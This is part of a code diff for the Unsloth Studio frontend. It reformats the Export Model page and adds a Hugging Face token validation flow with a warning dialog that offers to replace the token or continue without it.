-      ? `${hfUsername}/${modelName}`
-      : undefined;
-    const token = pushToHub && hfToken ? hfToken : undefined;
+    const preparedToken = await prepareHfTokenForUse(hfToken, {
+      allowAnonymous: !pushToHub,
+    });
+    if (!preparedToken.proceed) return;
+    const actionHfToken = preparedToken.token ?? "";
+
+    const repoId =
+      pushToHub && hfUsername && modelName
+        ? `${hfUsername}/${modelName}`
+        : undefined;
+    const token = pushToHub && actionHfToken ? actionHfToken : undefined;
     // The GGUF method with the LoRA target reuses the LoRA-adapter export path.
     const effectiveMethod: ExportMethod = ggufAsLora ? "lora" : exportMethod;
     const emitLoraGguf =
       ggufAsLora || (effectiveMethod === "lora" && loraAsGguf && !isMacHost);
     const methodLabel = ggufAsLora
       ? "GGUF LoRA adapter"
-      : (EXPORT_METHODS.find((m) => m.value === exportMethod)?.title ?? exportMethod);
+      : (EXPORT_METHODS.find((m) => m.value === exportMethod)?.title ??
+        exportMethod);
     const adapterExport = sourceMode === "checkpoint" && isAdapter;
 
     // Consent gate for an HF source's custom (auto_map) code, run before we hand
@@ -716,7 +768,7 @@ export function ExportPage() {
     if (sourceMode !== "checkpoint") {
       const remoteCodeOk = await confirmRemoteCodeIfNeeded({
         modelName: source,
-        hfToken: hfToken || null,
+        hfToken: actionHfToken || null,
         // An HF source can need trust_remote_code via its YAML default with no
         // auto_map to review; signal it so a YAML-only model does not export
         // with it false.
@@ -736,7 +788,7 @@ export function ExportPage() {
       modelSource,
       trustRemoteCode,
       approvedRemoteCodeFingerprint,
-      loadToken: hfToken || null,
+      loadToken: actionHfToken || null,
       exportMethod: effectiveMethod,
       isAdapter: adapterExport,
       quantLevels,
@@ -843,7 +895,7 @@ export function ExportPage() {
         <GuidedTour {...tour.tourProps} />
 
         <div className="mb-8 flex flex-col gap-0.5">
-          <h1 className="text-[30px] font-semibold leading-[1.04] tracking-[-0.028em] text-foreground sm:text-[34px]">
+          <h1 className="text-ui-30 font-semibold leading-[1.04] tracking-[-0.028em] text-foreground sm:text-ui-34">
             Export Model
           </h1>
           <p className="text-sm text-muted-foreground">
@@ -912,21 +964,21 @@ export function ExportPage() {
                         <TabsTrigger
                           value="local"
                           indicatorClassName="hub-tab-toggle-pill rounded-full"
-                          className="h-9 rounded-full border-0 px-3 text-[12.5px] text-muted-foreground hover:text-foreground data-active:text-foreground data-[state=active]:text-foreground"
+                          className="h-9 rounded-full border-0 px-3 text-ui-12p5 text-muted-foreground hover:text-foreground data-active:text-foreground data-[state=active]:text-foreground"
                         >
                           Local Model
                         </TabsTrigger>
                         <TabsTrigger
                           value="checkpoint"
                           indicatorClassName="hub-tab-toggle-pill rounded-full"
-                          className="h-9 rounded-full border-0 px-3 text-[12.5px] text-muted-foreground hover:text-foreground data-active:text-foreground data-[state=active]:text-foreground"
+                          className="h-9 rounded-full border-0 px-3 text-ui-12p5 text-muted-foreground hover:text-foreground data-active:text-foreground data-[state=active]:text-foreground"
                         >
                           Fine-tuned
                         </TabsTrigger>
                         <TabsTrigger
                           value="hf"
                           indicatorClassName="hub-tab-toggle-pill rounded-full"
-                          className="h-9 rounded-full border-0 px-3 text-[12.5px] text-muted-foreground hover:text-foreground data-active:text-foreground data-[state=active]:text-foreground"
+                          className="h-9 rounded-full border-0 px-3 text-ui-12p5 text-muted-foreground hover:text-foreground data-active:text-foreground data-[state=active]:text-foreground"
                         >
                           Hugging Face
                         </TabsTrigger>
@@ -936,7 +988,10 @@ export function ExportPage() {
 
                   {sourceMode === "checkpoint" ? (
                     <div className="flex flex-col gap-2 overflow-visible">
-                      <div data-tour="export-training-run" className="flex flex-col gap-2">
+                      <div
+                        data-tour="export-training-run"
+                        className="flex flex-col gap-2"
+                      >
                         <label className="text-xs font-medium text-muted-foreground">
                           Training Run
                         </label>
@@ -960,13 +1015,12 @@ export function ExportPage() {
                                 ? m.name.slice(0, tsMatch.index)
                                 : m.name;
                               const timeStr = tsMatch
-                                ? new Date(Number(tsMatch[1]) * 1000).toLocaleString(
-                                    undefined,
-                                    {
-                                      dateStyle: "medium",
-                                      timeStyle: "short",
-                                    },
-                                  )
+                                ? new Date(
+                                    Number(tsMatch[1]) * 1000,
+                                  ).toLocaleString(undefined, {
+                                    dateStyle: "medium",
+                                    timeStyle: "short",
+                                  })
                                 : null;
                               return (
                                 <SelectItem key={m.name} value={m.name}>
@@ -989,7 +1043,10 @@ export function ExportPage() {
                         </Select>
                       </div>
 
-                      <div data-tour="export-checkpoint" className="flex flex-col gap-2">
+                      <div
+                        data-tour="export-checkpoint"
+                        className="flex flex-col gap-2"
+                      >
                         <label className="flex items-center gap-1.5 text-xs font-medium text-muted-foreground">
                           Checkpoint
                           <Tooltip>
@@ -1026,11 +1083,11 @@ export function ExportPage() {
                           <SelectTrigger className="w-full">
                             <SelectValue
                               placeholder={
-                                !selectedModelIdx
-                                  ? "Select a training run first"
-                                  : checkpointsForModel.length === 0
+                                selectedModelIdx
+                                  ? checkpointsForModel.length === 0
                                     ? "No checkpoints found"
                                     : "Select a checkpoint…"
+                                  : "Select a training run first"
                               }
                             />
                           </SelectTrigger>
@@ -1064,7 +1121,9 @@ export function ExportPage() {
                                 items={hfResultIds}
                                 filteredItems={hfResultIds}
                                 filter={null}
-                                value={modelInput || selectedSourceModel || null}
+                                value={
+                                  modelInput || selectedSourceModel || null
+                                }
                                 onValueChange={handleHfSourceModelSelect}
                                 onInputValueChange={handleHfSourceInputChange}
                                 itemToStringValue={(id) => id}
@@ -1083,7 +1142,10 @@ export function ExportPage() {
                                   }}
                                 >
                                   <InputGroupAddon>
-                                    <HugeiconsIcon icon={Search01Icon} className="size-4" />
+                                    <HugeiconsIcon
+                                      icon={Search01Icon}
+                                      className="size-4"
+                                    />
                                   </InputGroupAddon>
                                 </ComboboxInput>
                                 <ComboboxContent anchor={hfComboboxAnchorRef}>
@@ -1092,11 +1154,17 @@ export function ExportPage() {
                                       <Spinner className="size-4" /> Searching…
                                     </div>
                                   ) : (
-                                    <ComboboxEmpty>No models found</ComboboxEmpty>
+                                    <ComboboxEmpty>
+                                      No models found
+                                    </ComboboxEmpty>
                                   )}
                                   <ComboboxList className="p-1 !max-h-none !overflow-visible">
                                     {(id: string) => (
-                                      <ComboboxItem key={id} value={id} className="gap-2">
+                                      <ComboboxItem
+                                        key={id}
+                                        value={id}
+                                        className="gap-2"
+                                      >
                                         <span className="block min-w-0 flex-1 truncate">
                                           {id}
                                         </span>
@@ -1120,7 +1188,10 @@ export function ExportPage() {
                             </label>
                             <InputGroup>
                               <InputGroupAddon>
-                                <HugeiconsIcon icon={Key01Icon} className="size-4" />
+                                <HugeiconsIcon
+                                  icon={Key01Icon}
+                                  className="size-4"
+                                />
                               </InputGroupAddon>
                               <InputGroupInput
                                 type="password"
@@ -1132,7 +1203,9 @@ export function ExportPage() {
                               />
                             </InputGroup>
                             {isCheckingToken && (
-                              <p className="text-xs text-muted-foreground">Checking token…</p>
+                              <p className="text-xs text-muted-foreground">
+                                Checking token…
+                              </p>
                             )}
                           </div>
                         </>
@@ -1164,15 +1237,24 @@ export function ExportPage() {
                                     : "./models/my-model"
                                 }
                                 className="w-full"
-                                onBlur={() => applyLocalSourceModel(localModelInputRef.current)}
+                                onBlur={() =>
+                                  applyLocalSourceModel(
+                                    localModelInputRef.current,
+                                  )
+                                }
                                 onKeyDown={(event) => {
                                   if (event.key !== "Enter") return;
                                   event.preventDefault();
-                                  applyLocalSourceModel(localModelInputRef.current);
+                                  applyLocalSourceModel(
+                                    localModelInputRef.current,
+                                  );
                                 }}
                               >
                                 <InputGroupAddon>
-                                  <HugeiconsIcon icon={FolderSearchIcon} className="size-4" />
+                                  <HugeiconsIcon
+                                    icon={FolderSearchIcon}
+                                    className="size-4"
+                                  />
                                 </InputGroupAddon>
                               </ComboboxInput>
                               <ComboboxContent anchor={localComboboxAnchorRef}>
@@ -1185,7 +1267,9 @@ export function ExportPage() {
                                     {localModelsError}
                                   </div>
                                 ) : (
-                                  <ComboboxEmpty>No local models found</ComboboxEmpty>
+                                  <ComboboxEmpty>
+                                    No local models found
+                                  </ComboboxEmpty>
                                 )}
                                 <ComboboxList className="p-1 !max-h-none !overflow-visible">
                                   {(id: string) => {
@@ -1197,11 +1281,15 @@ export function ExportPage() {
                                           ? "Custom Folders"
                                           : "Local dir";
                                     return (
-                                      <ComboboxItem key={id} value={id} className="gap-2">
+                                      <ComboboxItem
+                                        key={id}
+                                        value={id}
+                                        className="gap-2"
+                                      >
                                         <span className="block min-w-0 flex-1 truncate">
                                           {model?.display_name ?? id}
                                         </span>
-                                        <span className="ml-auto shrink-0 text-[10px] text-muted-foreground">
+                                        <span className="ml-auto shrink-0 text-ui-10 text-muted-foreground">
                                           {source}
                                         </span>
                                       </ComboboxItem>
@@ -1212,13 +1300,15 @@ export function ExportPage() {
                             </Combobox>
                           </div>
                           {isLoadingLocalModels ? (
-                            <p className="text-[10px] text-muted-foreground">
+                            <p className="text-ui-10 text-muted-foreground">
                               Scanning local models...
                             </p>
                           ) : localModelsError ? (
-                            <p className="text-[10px] text-red-500">{localModelsError}</p>
+                            <p className="text-ui-10 text-red-500">
+                              {localModelsError}
+                            </p>
                           ) : (
-                            <p className="text-[10px] text-muted-foreground">
+                            <p className="text-ui-10 text-muted-foreground">
                               {exportableLocalModels.length > 0
                                 ? `${exportableLocalModels.length} local/cached models found`
                                 : "No local models found. Enter path manually."}
@@ -1228,7 +1318,7 @@ export function ExportPage() {
                       )}
 
                       <div className="rounded-xl bg-foreground/[0.04] p-3">
-                        <p className="text-[11px] text-muted-foreground">
+                        <p className="text-ui-11 text-muted-foreground">
                           Direct model exports currently support GGUF only.
                         </p>
                       </div>
@@ -1237,12 +1327,14 @@ export function ExportPage() {
 
                   {sourceMode === "checkpoint" && (
                     <div className="rounded-xl bg-foreground/[0.04] p-3 flex flex-col gap-2">
-                      <span className="text-[11px] font-medium text-muted-foreground uppercase tracking-wider">
+                      <span className="text-ui-11 font-medium text-muted-foreground uppercase tracking-wider">
                         Training Info
                       </span>
                       <div className="grid grid-cols-1 gap-x-6 gap-y-1.5 text-xs sm:grid-cols-2">
                         <div className="flex justify-between">
-                          <span className="text-muted-foreground">Base Model</span>
+                          <span className="text-muted-foreground">
+                            Base Model
+                          </span>
                           <span className="font-medium">{baseModelName}</span>
                         </div>
                         <div className="flex justify-between">
@@ -1252,14 +1344,18 @@ export function ExportPage() {
                           </span>
                         </div>
                         <div className="flex justify-between">
-                          <span className="text-muted-foreground">Checkpoints</span>
+                          <span className="text-muted-foreground">
+                            Checkpoints
+                          </span>
                           <span className="font-medium">
                             {checkpointsForModel.length}
                           </span>
                         </div>
                         {isAdapter && (
                           <div className="flex justify-between">
-                            <span className="text-muted-foreground">LoRA Rank</span>
+                            <span className="text-muted-foreground">
+                              LoRA Rank
+                            </span>
                             <span className="font-medium">{loraRank}</span>
                           </div>
                         )}
@@ -1278,7 +1374,7 @@ export function ExportPage() {
                         key={step}
                         className="flex items-start gap-2 text-xs text-muted-foreground"
                       >
-                        <span className="flex size-5 shrink-0 items-center justify-center rounded-full bg-foreground/10 text-[10px] font-semibold">
+                        <span className="flex size-5 shrink-0 items-center justify-center rounded-full bg-foreground/10 text-ui-10 font-semibold">
                           {i + 1}
                         </span>
                         {step}
@@ -1292,7 +1388,9 @@ export function ExportPage() {
                 <Alert variant="destructive">
                   <HugeiconsIcon icon={AlertCircleIcon} className="size-4" />
                   <AlertTitle>Export unavailable</AlertTitle>
-                  <AlertDescription>{exportUnsupportedMessage}</AlertDescription>
+                  <AlertDescription>
+                    {exportUnsupportedMessage}
+                  </AlertDescription>
                 </Alert>
               )}
 
@@ -1304,18 +1402,18 @@ export function ExportPage() {
                     ? ["merged", "lora", "gguf"]
                     : !effectiveIsAdapter && effectiveIsQuantized
                       ? ["merged", "lora", "gguf"]
-                      : !effectiveIsAdapter
-                        ? ["lora"]
-                        : []
+                      : effectiveIsAdapter
+                        ? []
+                        : ["lora"]
                 }
                 disabledReason={
                   exportUnsupported
                     ? exportUnsupportedMessage
                     : !effectiveIsAdapter && effectiveIsQuantized
                       ? "Pre-quantized (BNB 4-bit) models cannot be exported without LoRA adapters"
-                      : !effectiveIsAdapter
-                        ? "LoRA-only export needs a LoRA adapter checkpoint"
-                        : undefined
+                      : effectiveIsAdapter
+                        ? undefined
+                        : "LoRA-only export needs a LoRA adapter checkpoint"
                 }
               />
 
@@ -1324,7 +1422,7 @@ export function ExportPage() {
                   <div className="space-y-2">
                     <div className="flex items-center justify-between">
                       <div className="text-sm font-medium">Precision</div>
-                      <span className="text-[11px] text-muted-foreground/70">
+                      <span className="text-ui-11 text-muted-foreground/70">
                         — select one or more
                       </span>
                     </div>
@@ -1381,7 +1479,7 @@ export function ExportPage() {
                                       {f.label}
                                       {f.needsCalibration ? " *" : ""}
                                     </span>
-                                    <span className="text-[10px] text-muted-foreground">
+                                    <span className="text-ui-10 text-muted-foreground">
                                       {f.hint}
                                     </span>
                                   </span>
@@ -1394,7 +1492,7 @@ export function ExportPage() {
 
                     {selectedFormats.length > 0 && (
                       <div className="flex flex-wrap items-center gap-x-3 gap-y-1">
-                        <span className="text-[11px] text-muted-foreground">
+                        <span className="text-ui-11 text-muted-foreground">
                           {selectedFormats.length} selected:{" "}
                           {selectedFormats
                             .map(
@@ -1408,7 +1506,7 @@ export function ExportPage() {
                           <button
                             type="button"
                             onClick={() => setSelectedFormats(["16-bit"])}
-                            className="text-[11px] text-muted-foreground/70 hover:text-foreground transition-colors"
+                            className="text-ui-11 text-muted-foreground/70 hover:text-foreground transition-colors"
                           >
                             Reset to 16-bit
                           </button>
@@ -1417,7 +1515,7 @@ export function ExportPage() {
                     )}
 
                     {hubMultiFormat && (
-                      <div className="text-[11px] text-amber-600 dark:text-amber-500">
+                      <div className="text-ui-11 text-amber-600 dark:text-amber-500">
                         Hub export supports one format at a time (each writes to
                         the repository root). Select a single format, or export
                         locally to produce several at once.
@@ -1429,13 +1527,13 @@ export function ExportPage() {
                         MERGED_FORMATS.find((f) => f.value === v)
                           ?.needsCalibration,
                     ) && (
-                      <div className="text-[11px] text-muted-foreground">
+                      <div className="text-ui-11 text-muted-foreground">
                         * calibrates on data (uses a small calibration set).
                       </div>
                     )}
 
                     {!hasNvidia && (
-                      <div className="text-[11px] text-muted-foreground">
+                      <div className="text-ui-11 text-muted-foreground">
                         No NVIDIA GPU detected: compressed-tensors formats are
                         hidden. 16-bit and portable FP8/INT8 (torchao) still
                         work here and load in vLLM.
@@ -1445,66 +1543,68 @@ export function ExportPage() {
                 </div>
               )}
 
-              {exportMethod === "lora" && effectiveIsAdapter && !exportUnsupported && (
-                <div className="space-y-3">
-                  <div className="space-y-2">
-                    <div className="text-sm font-medium">Adapter format</div>
-                    <div className="flex flex-wrap gap-2">
-                      <Button
-                        type="button"
-                        variant={!loraAsGguf ? "default" : "outline"}
-                        size="sm"
-                        onClick={() => setLoraAsGguf(false)}
-                        title="Standard PEFT adapter (adapter_model.safetensors)."
-                      >
-                        Adapter (safetensors)
-                      </Button>
-                      <Button
-                        type="button"
-                        variant={loraAsGguf ? "default" : "outline"}
-                        size="sm"
-                        disabled={isMacHost}
-                        onClick={() => setLoraAsGguf(true)}
-                        title={
-                          isMacHost
-                            ? "GGUF LoRA export is not available on macOS/MLX. Use the safetensors adapter."
-                            : "llama.cpp GGUF LoRA, loadable with `llama-cli --lora`."
-                        }
-                      >
-                        GGUF adapter
-                      </Button>
+              {exportMethod === "lora" &&
+                effectiveIsAdapter &&
+                !exportUnsupported && (
+                  <div className="space-y-3">
+                    <div className="space-y-2">
+                      <div className="text-sm font-medium">Adapter format</div>
+                      <div className="flex flex-wrap gap-2">
+                        <Button
+                          type="button"
+                          variant={loraAsGguf ? "outline" : "default"}
+                          size="sm"
+                          onClick={() => setLoraAsGguf(false)}
+                          title="Standard PEFT adapter (adapter_model.safetensors)."
+                        >
+                          Adapter (safetensors)
+                        </Button>
+                        <Button
+                          type="button"
+                          variant={loraAsGguf ? "default" : "outline"}
+                          size="sm"
+                          disabled={isMacHost}
+                          onClick={() => setLoraAsGguf(true)}
+                          title={
+                            isMacHost
+                              ? "GGUF LoRA export is not available on macOS/MLX. Use the safetensors adapter."
+                              : "llama.cpp GGUF LoRA, loadable with `llama-cli --lora`."
+                          }
+                        >
+                          GGUF adapter
+                        </Button>
+                      </div>
+                      <div className="text-xs text-muted-foreground">
+                        {isMacHost
+                          ? "GGUF LoRA is not available on macOS/MLX; exporting the safetensors adapter."
+                          : loraAsGguf
+                            ? "Converts the adapter to a GGUF LoRA (llama.cpp `--lora`). The base model stays separate."
+                            : "Standard PEFT adapter files. Pair with the base model at inference."}
+                      </div>
                     </div>
-                    <div className="text-xs text-muted-foreground">
-                      {isMacHost
-                        ? "GGUF LoRA is not available on macOS/MLX; exporting the safetensors adapter."
-                        : loraAsGguf
-                          ? "Converts the adapter to a GGUF LoRA (llama.cpp `--lora`). The base model stays separate."
-                          : "Standard PEFT adapter files. Pair with the base model at inference."}
-                    </div>
-                  </div>
 
-                  {loraAsGguf && (
-                    <div className="space-y-1.5">
-                      <div className="text-sm font-medium">Output type</div>
-                      <Select
-                        value={loraGgufOuttype}
-                        onValueChange={(v) => setLoraGgufOuttype(v)}
-                      >
-                        <SelectTrigger className="w-full sm:w-56">
-                          <SelectValue />
-                        </SelectTrigger>
-                        <SelectContent>
-                          {LORA_GGUF_OUTTYPES.map((t) => (
-                            <SelectItem key={t} value={t}>
-                              {t.toUpperCase()}
-                            </SelectItem>
-                          ))}
-                        </SelectContent>
-                      </Select>
-                    </div>
-                  )}
-                </div>
-              )}
+                    {loraAsGguf && (
+                      <div className="space-y-1.5">
+                        <div className="text-sm font-medium">Output type</div>
+                        <Select
+                          value={loraGgufOuttype}
+                          onValueChange={(v) => setLoraGgufOuttype(v)}
+                        >
+                          <SelectTrigger className="w-full sm:w-56">
+                            <SelectValue />
+                          </SelectTrigger>
+                          <SelectContent>
+                            {LORA_GGUF_OUTTYPES.map((t) => (
+                              <SelectItem key={t} value={t}>
+                                {t.toUpperCase()}
+                              </SelectItem>
+                            ))}
+                          </SelectContent>
+                        </Select>
+                      </div>
+                    )}
+                  </div>
+                )}
 
               {exportMethod === "gguf" && !exportUnsupported && (
                 <div className="space-y-3">
@@ -1514,7 +1614,9 @@ export function ExportPage() {
                       <div className="flex flex-wrap gap-2">
                         <Button
                           type="button"
-                          variant={ggufTarget === "model" ? "default" : "outline"}
+                          variant={
+                            ggufTarget === "model" ? "default" : "outline"
+                          }
                           size="sm"
                           onClick={() => setGgufTarget("model")}
                           title="Merge the adapter into the base model, then quantize the full model to GGUF."
@@ -1523,7 +1625,9 @@ export function ExportPage() {
                         </Button>
                         <Button
                           type="button"
-                          variant={ggufTarget === "lora" ? "default" : "outline"}
+                          variant={
+                            ggufTarget === "lora" ? "default" : "outline"
+                          }
                           size="sm"
                           onClick={() => setGgufTarget("lora")}
                           title="Export just the adapter as a GGUF LoRA (llama.cpp `--lora`); the base model stays separate."
@@ -1598,32 +1702,36 @@ export function ExportPage() {
 
               <Separator />
               {showPanel && (
-                    <ExportRunPanel
-                      exportMethod={exportMethod}
-                      quantLevels={quantLevels}
-                      checkpoint={selectedExportSource}
-                      baseModelName={sourceBaseModelName}
-                      isAdapter={sourceMode === "checkpoint" && isAdapter}
-                      destination={destination}
-                      onDestinationChange={setDestination}
-                      saveDirectory={saveDirectory}
-                      defaultSaveDirectory={defaultSaveDirectory}
-                      saveDirectoryOverridden={!!customSaveDirectory}
-                      onSaveDirectoryChange={setCustomSaveDirectory}
-                      hfUsername={hfUsername}
-                      onHfUsernameChange={setHfUsername}
-                      modelName={modelName}
-                      onModelNameChange={setModelName}
-                      hfToken={hfToken}
-                      onHfTokenChange={setHfToken}
-                      privateRepo={privateRepo}
-                      onPrivateRepoChange={setPrivateRepo}
-                      onStart={handleStart}
-                      onClose={handleClosePanel}
-                    />
-                )}
+                <ExportRunPanel
+                  exportMethod={exportMethod}
+                  quantLevels={quantLevels}
+                  checkpoint={selectedExportSource}
+                  baseModelName={sourceBaseModelName}
+                  isAdapter={sourceMode === "checkpoint" && isAdapter}
+                  destination={destination}
+                  onDestinationChange={setDestination}
+                  saveDirectory={saveDirectory}
+                  defaultSaveDirectory={defaultSaveDirectory}
+                  saveDirectoryOverridden={!!customSaveDirectory}
+                  onSaveDirectoryChange={setCustomSaveDirectory}
+                  hfUsername={hfUsername}
+                  onHfUsernameChange={setHfUsername}
+                  modelName={modelName}
+                  onModelNameChange={setModelName}
+                  hfToken={hfToken}
+                  onHfTokenChange={setHfToken}
+                  privateRepo={privateRepo}
+                  onPrivateRepoChange={setPrivateRepo}
+                  onStart={handleStart}
+                  onClose={handleClosePanel}
+                />
+              )}
               {showPanel && (
-                <div ref={panelEndRef} aria-hidden="true" className="h-px w-full" />
+                <div
+                  ref={panelEndRef}
+                  aria-hidden="true"
+                  className="h-px w-full"
+                />
               )}
               {showPanel && !panelEndVisible && (
                 <button
@@ -1637,7 +1745,10 @@ export function ExportPage() {
                   aria-label="Scroll to export output"
                   className="fixed bottom-6 right-6 z-30 flex size-10 items-center justify-center rounded-full border border-border/60 bg-background/90 text-foreground shadow-md backdrop-blur transition-colors hover:bg-muted"
                 >
-                  <HugeiconsIcon icon={ArrowDown01Icon} className="size-5" />
+                  <HugeiconsIcon
+                    icon={ChevronDownStandardIcon}
+                    className="size-5"
+                  />
                 </button>
               )}
               {!showPanel && (
diff --git a/studio/frontend/src/features/hf-auth/api.ts b/studio/frontend/src/features/hf-auth/api.ts
new file mode 100644
index 0000000000..ab4b049566
--- /dev/null
+++ b/studio/frontend/src/features/hf-auth/api.ts
@@ -0,0 +1,44 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { authFetch } from "@/features/auth";
+// This header helper is API-layer-only and is not part of the feature's
+// React-facing public barrel.
+// eslint-disable-next-line no-restricted-imports
+import { hubTokenHeader } from "@/features/hub/lib/hub-token-header";
+
+export type HfTokenValidationStatus =
+  | "missing"
+  | "valid"
+  | "invalid"
+  | "rate_limited"
+  | "unavailable";
+
+export interface HfTokenValidationResult {
+  status: HfTokenValidationStatus;
+  retryAfterSeconds: number | null;
+}
+
+export async function validateHfToken(
+  token: string | null | undefined,
+): Promise<HfTokenValidationResult> {
+  const normalized = token?.trim() ?? "";
+  if (!normalized) {
+    return { status: "missing", retryAfterSeconds: null };
+  }
+  const response = await authFetch("/api/hub/token/validate", {
+    method: "POST",
+    headers: hubTokenHeader(normalized),
+  });
+  if (!response.ok) {
+    return { status: "unavailable", retryAfterSeconds: null };
+  }
+  const body = (await response.json()) as {
+    status?: HfTokenValidationStatus;
+    retry_after_seconds?: number | null;
+  };
+  return {
+    status: body.status ?? "unavailable",
+    retryAfterSeconds: body.retry_after_seconds ?? null,
+  };
+}
diff --git a/studio/frontend/src/features/hf-auth/confirm-token.ts b/studio/frontend/src/features/hf-auth/confirm-token.ts
new file mode 100644
index 0000000000..e1f6e6c705
--- /dev/null
+++ b/studio/frontend/src/features/hf-auth/confirm-token.ts
@@ -0,0 +1,63 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+// These stores are used outside React and are not part of their features'
+// React-facing public barrels.
+// eslint-disable-next-line no-restricted-imports
+import { useHfTokenStore } from "@/features/hub/stores/hf-token-store";
+// eslint-disable-next-line no-restricted-imports
+import { useSettingsDialogStore } from "@/features/settings/stores/settings-dialog-store";
+import { validateHfToken } from "./api";
+import { useHfTokenWarningStore } from "./store";
+
+export interface PreparedHfToken {
+  proceed: boolean;
+  token: string | null;
+}
+
+interface PrepareHfTokenOptions {
+  allowAnonymous?: boolean;
+}
+
+// A caller can retain the pre-dialog payload while the shared store is cleared.
+// Remember that one-session choice so a follow-up /load does not prompt again
+// after its preceding /validate already continued anonymously.
+const anonymousForSession = new Set<string>();
+
+export async function prepareHfTokenForUse(
+  token: string | null | undefined,
+  options: PrepareHfTokenOptions = {},
+): Promise<PreparedHfToken> {
+  const normalized = token?.trim() ?? "";
+  if (!normalized) return { proceed: true, token: null };
+  const allowAnonymous = options.allowAnonymous ?? true;
+  if (allowAnonymous && anonymousForSession.has(normalized)) {
+    return { proceed: true, token: null };
+  }
+
+  let validation;
+  try {
+    validation = await validateHfToken(normalized);
+  } catch {
+    // Validation is advisory. Let the real operation retain its own error.
+    return { proceed: true, token: normalized };
+  }
+  if (validation.status !== "invalid") {
+    // A connectivity failure or rate limit cannot prove that a token is bad.
+    // Let the real operation proceed and retain its repository-specific error.
+    return { proceed: true, token: normalized };
+  }
+
+  const decision = await useHfTokenWarningStore
+    .getState()
+    .requestDecision(allowAnonymous);
+  if (decision === "anonymous") {
+    anonymousForSession.add(normalized);
+    useHfTokenStore.getState().clearToken();
+    return { proceed: true, token: null };
+  }
+  if (decision === "replace") {
+    useSettingsDialogStore.getState().openDialog("general");
+  }
+  return { proceed: false, token: normalized };
+}
diff --git a/studio/frontend/src/features/hf-auth/hf-token-warning-dialog.tsx b/studio/frontend/src/features/hf-auth/hf-token-warning-dialog.tsx
new file mode 100644
index 0000000000..4370c39693
--- /dev/null
+++ b/studio/frontend/src/features/hf-auth/hf-token-warning-dialog.tsx
@@ -0,0 +1,66 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import {
+  AlertDialog,
+  AlertDialogAction,
+  AlertDialogCancel,
+  AlertDialogContent,
+  AlertDialogDescription,
+  AlertDialogFooter,
+  AlertDialogHeader,
+  AlertDialogTitle,
+} from "@/components/ui/alert-dialog";
+import { Button } from "@/components/ui/button";
+import { AlertTriangle } from "lucide-react";
+import { useHfTokenWarningStore } from "./store";
+
+export function HfTokenWarningDialog() {
+  const open = useHfTokenWarningStore((state) => state.open);
+  const allowAnonymous = useHfTokenWarningStore(
+    (state) => state.allowAnonymous,
+  );
+  const resolve = useHfTokenWarningStore((state) => state.resolve);
+
+  return (
+    <AlertDialog
+      open={open}
+      onOpenChange={(next) => {
+        if (!next) resolve("cancel");
+      }}
+    >
+      <AlertDialogContent className="max-w-md">
+        <AlertDialogHeader>
+          <div className="flex items-start gap-3">
+            <div className="flex size-9 shrink-0 items-center justify-center rounded-full bg-amber-500/10 text-amber-600 dark:text-amber-400">
+              <AlertTriangle className="size-5" />
+            </div>
+            <div className="space-y-1 text-left">
+              <AlertDialogTitle>Hugging Face token is invalid</AlertDialogTitle>
+              <AlertDialogDescription>
+                {allowAnonymous
+                  ? "Hugging Face rejected the saved token. Replace it to access private or gated repositories, or continue without it for public and fully downloaded models."
+                  : "Hugging Face rejected the saved token. Replace it before uploading to the Hub."}
+              </AlertDialogDescription>
+            </div>
+          </div>
+        </AlertDialogHeader>
+        <AlertDialogFooter className="sm:justify-between">
+          <AlertDialogCancel onClick={() => resolve("cancel")}>
+            Cancel
+          </AlertDialogCancel>
+          <div className="flex flex-col-reverse gap-2 sm:flex-row">
+            {allowAnonymous ? (
+              <Button variant="outline" onClick={() => resolve("anonymous")}>
+                Continue without token
+              </Button>
+            ) : null}
+            <AlertDialogAction onClick={() => resolve("replace")}>
+              Replace token
+            </AlertDialogAction>
+          </div>
+        </AlertDialogFooter>
+      </AlertDialogContent>
+    </AlertDialog>
+  );
+}
diff --git a/studio/frontend/src/features/hf-auth/index.ts b/studio/frontend/src/features/hf-auth/index.ts
new file mode 100644
index 0000000000..e8bcb48193
--- /dev/null
+++ b/studio/frontend/src/features/hf-auth/index.ts
@@ -0,0 +1,10 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+export { validateHfToken } from "./api";
+export type {
+  HfTokenValidationResult,
+  HfTokenValidationStatus,
+} from "./api";
+export { prepareHfTokenForUse } from "./confirm-token";
+export { HfTokenWarningDialog } from "./hf-token-warning-dialog";
diff --git a/studio/frontend/src/features/hf-auth/store.ts b/studio/frontend/src/features/hf-auth/store.ts
new file mode 100644
index 0000000000..faa2543a8a
--- /dev/null
+++ b/studio/frontend/src/features/hf-auth/store.ts
@@ -0,0 +1,33 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { create } from "zustand";
+
+export type HfTokenWarningDecision = "anonymous" | "replace" | "cancel";
+type Resolver = (decision: HfTokenWarningDecision) => void;
+
+let pendingResolver: Resolver | null = null;
+
+interface HfTokenWarningStore {
+  open: boolean;
+  allowAnonymous: boolean;
+  requestDecision: (allowAnonymous: boolean) => Promise<HfTokenWarningDecision>;
+  resolve: (decision: HfTokenWarningDecision) => void;
+}
+
+export const useHfTokenWarningStore = create<HfTokenWarningStore>((set) => ({
+  open: false,
+  allowAnonymous: true,
+  requestDecision: (allowAnonymous) =>
+    new Promise<HfTokenWarningDecision>((resolve) => {
+      pendingResolver?.("cancel");
+      pendingResolver = resolve;
+      set({ open: true, allowAnonymous });
+    }),
+  resolve: (decision) => {
+    const resolver = pendingResolver;
+    pendingResolver = null;
+    set({ open: false, allowAnonymous: true });
+    resolver?.(decision);
+  },
+}));
diff --git a/studio/frontend/src/features/hub/catalog/catalog-states.tsx b/studio/frontend/src/features/hub/catalog/catalog-states.tsx
index 1d9eb63718..513f1c21c8 100644
--- a/studio/frontend/src/features/hub/catalog/catalog-states.tsx
+++ b/studio/frontend/src/features/hub/catalog/catalog-states.tsx
@@ -10,6 +10,7 @@ import {
